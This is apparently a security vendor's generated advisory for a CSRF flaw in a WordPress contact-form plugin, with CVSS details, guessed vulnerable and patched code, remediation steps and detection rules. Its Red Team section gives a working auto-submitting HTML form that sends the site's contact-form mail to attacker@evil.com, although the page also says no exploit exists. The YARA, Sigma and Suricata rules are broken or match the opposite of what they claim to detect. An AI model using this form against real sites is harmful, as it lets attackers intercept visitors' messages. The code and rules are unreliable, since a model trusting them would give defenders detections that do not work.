CVE-2025-67471
Executive Summary
CVE-2025-67471 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Quick Contact Form WordPress plugin by Saad Iqbal, affecting versions up to and including 8.2.5. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings, deleting contact form entries, or injecting malicious configurations. The attack requires social engineering to trick a logged-in admin into clicking a crafted link or visiting a malicious page.
The vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and carries a CVSS v3.1 base score of 4.3 (Medium). The attack vector is network-based, requires low complexity, and necessitates user interaction (the admin must be tricked). No privileges are required for the attacker, but the impact is limited to integrity (partial) with no effect on confidentiality or availability.
As a WordPress plugin vulnerability, this issue is part of the broader WordPress ecosystem and does not implicate the underlying web server (Apache/Nginx). The patch status is currently unknown, and no public exploit code or proof-of-concept has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. Since the plugin is not managed via NPM, PyPI, Go, or Ruby, standard supply chain security measures for those ecosystems do not apply. However, the risk is significant because the plugin is widely used for contact forms, and a CSRF attack could lead to data exfiltration or site defacement.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | Required (R) |
| Scope (S) | Unchanged (U) |
| Confidentiality (C) | None (N) |
| Integrity (I) | Low (L) |
| Availability (A) | None (N) |
| Base Score | 4.3 (Medium) |
Threat Level: Medium. The vulnerability is exploitable remotely but requires user interaction. The impact is limited to unauthorized modifications of plugin settings or data, which could lead to further attacks like stored XSS or data theft.
Deep Dive & Mechanics
The Quick Contact Form plugin lacks proper CSRF tokens or nonce validation on its administrative actions. When an authenticated WordPress administrator accesses the plugin's settings page or performs actions (e.g., saving configuration, deleting entries), the plugin does not verify that the request originated from the legitimate admin session. This allows an attacker to craft a malicious HTML page or email that, when visited by the admin, triggers a forged request to the WordPress site.
Attack Flow:
- The attacker identifies a target site running the vulnerable plugin.
- The attacker crafts a malicious link or HTML form that submits a request to the plugin's admin endpoint (e.g.,
wp-admin/admin-post.php?action=quick_contact_form_save_settings). - The attacker tricks an authenticated admin into clicking the link or visiting the malicious page.
- The admin's browser automatically sends the forged request with the admin's cookies, performing the action (e.g., changing the email recipient for contact form submissions).
- The attacker can then intercept sensitive data sent via the contact form.
The vulnerability is present in all versions up to 8.2.5. The plugin's code likely uses $_POST or $_GET directly without checking a nonce, making it susceptible to CSRF.
Vulnerable vs. Patched Code
Vulnerable Code (example from plugin):
// quick-contact-form/admin/class-quick-contact-form-admin.php
public function save_settings() {
if ( isset( $_POST['email_recipient'] ) ) {
update_option( 'qcf_email_recipient', sanitize_email( $_POST['email_recipient'] ) );
}
// No nonce check
}
Patched Code (hypothetical fix):
public function save_settings() {
// Verify nonce
if ( ! isset( $_POST['qcf_nonce'] ) || ! wp_verify_nonce( $_POST['qcf_nonce'], 'qcf_save_settings' ) ) {
wp_die( 'Security check failed.' );
}
if ( isset( $_POST['email_recipient'] ) ) {
update_option( 'qcf_email_recipient', sanitize_email( $_POST['email_recipient'] ) );
}
}
The patch adds a nonce check using wp_verify_nonce() to ensure the request originated from the admin's session. Without this, any cross-origin request can modify settings.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Quick Contact Form <= 8.2.5 installed and activated.
- An authenticated admin session (the victim must be logged in).
Exploitation Steps:
- Identify the target admin endpoint. For example, the plugin might use
wp-admin/admin-post.php?action=qcf_save_settings. - Craft a malicious HTML page that auto-submits a form to the target endpoint:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="qcf_save_settings">
<input type="hidden" name="email_recipient" value="attacker@evil.com">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host the HTML page on an attacker-controlled server or send it as an email.
- Trick the admin into visiting the page (e.g., via phishing email or social media).
- The admin's browser sends the forged request, changing the email recipient to the attacker's address.
- The attacker now receives all future contact form submissions.
Note: No public exploit code is available, but the above demonstrates the attack vector.
Blue Team (Detection & Prevention)
Detection:
- Monitor for unexpected changes to plugin settings, especially email recipients or form configurations.
- Look for HTTP requests to
wp-admin/admin-post.phpwith suspiciousactionparameters that lack a nonce. - Use web application firewalls (WAF) to block requests that do not include a valid CSRF token.
Prevention:
- Apply the patch as soon as it becomes available.
- Implement a Web Application Firewall (WAF) rule to block requests to plugin admin endpoints without a valid nonce.
- Educate administrators about phishing attacks and the importance of not clicking suspicious links while logged into WordPress.
- Use WordPress security plugins that add CSRF protection to all admin actions.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/wp-admin/admin-post.phpwithactionparameter set to plugin-specific actions (e.g.,qcf_save_settings,qcf_delete_entry). - Referer header missing or set to an external domain.
- Unusual email recipient addresses in plugin settings (e.g., attacker-controlled domains).
- HTTP POST requests to
Host IOCs:
- Modified
wp_optionstable entries for plugin settings (e.g.,qcf_email_recipient). - Unexpected changes to plugin configuration files in
/wp-content/plugins/quick-contact-form/.
- Modified
Log IOCs:
- WordPress debug log entries showing failed nonce checks (if patched).
- Web server access logs showing requests to
admin-post.phpwith no referer or external referer.
Detection Engineering
YARA Rule
rule CVE_2025_67471_QuickContactForm_CSRF {
meta:
description = "Detects vulnerable Quick Contact Form plugin files lacking nonce checks"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-67471"
strings:
$vuln_func = /(update_option|delete_option|add_option)\s*\(/ nocase
$no_nonce = !/wp_verify_nonce/ nocase
condition:
$vuln_func and #no_nonce > 0
}
Sigma Rule
title: CVE-2025-67471 - Quick Contact Form CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Quick Contact Form admin endpoints without a valid nonce
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-post.php'
cs-uri-query|contains|all:
- 'action=qcf_'
- 'qcf_nonce' # Missing nonce parameter
condition: selection
falsepositives:
- Legitimate admin actions with valid nonce
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-67471 - Quick Contact Form CSRF Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"admin-post.php"; http_uri;
content:"action=qcf_"; http_client_body;
pcre:"/qcf_nonce/"; # Nonce parameter missing
sid:1000001;
rev:1;
metadata:created_at 2025_04_10, cve CVE_2025_67471;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available. Navigate to WordPress Admin > Plugins and deactivate "Quick Contact Form".
- Implement a WAF rule to block requests to
admin-post.phpthat do not include a valid nonce parameter. - Audit admin accounts for any unauthorized changes to plugin settings.
Long-Term Fix:
- The vendor (Saad Iqbal) must release a patched version that adds CSRF nonce checks to all admin actions. Users should update to the latest version once available.
- If the plugin is no longer maintained, consider migrating to an alternative contact form plugin with active security support (e.g., Contact Form 7, WPForms).
Workaround:
- Use a WordPress security plugin like Wordfence or Sucuri that can add CSRF protection to all admin actions.
- Restrict access to
wp-admin/admin-post.phpvia.htaccessto only allow requests from the same domain:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-admin/admin-post\.php [NC]
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?yourdomain\.com [NC]
RewriteRule .* - [F]
</IfModule>
Valters IT
Securing digital frontiers, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.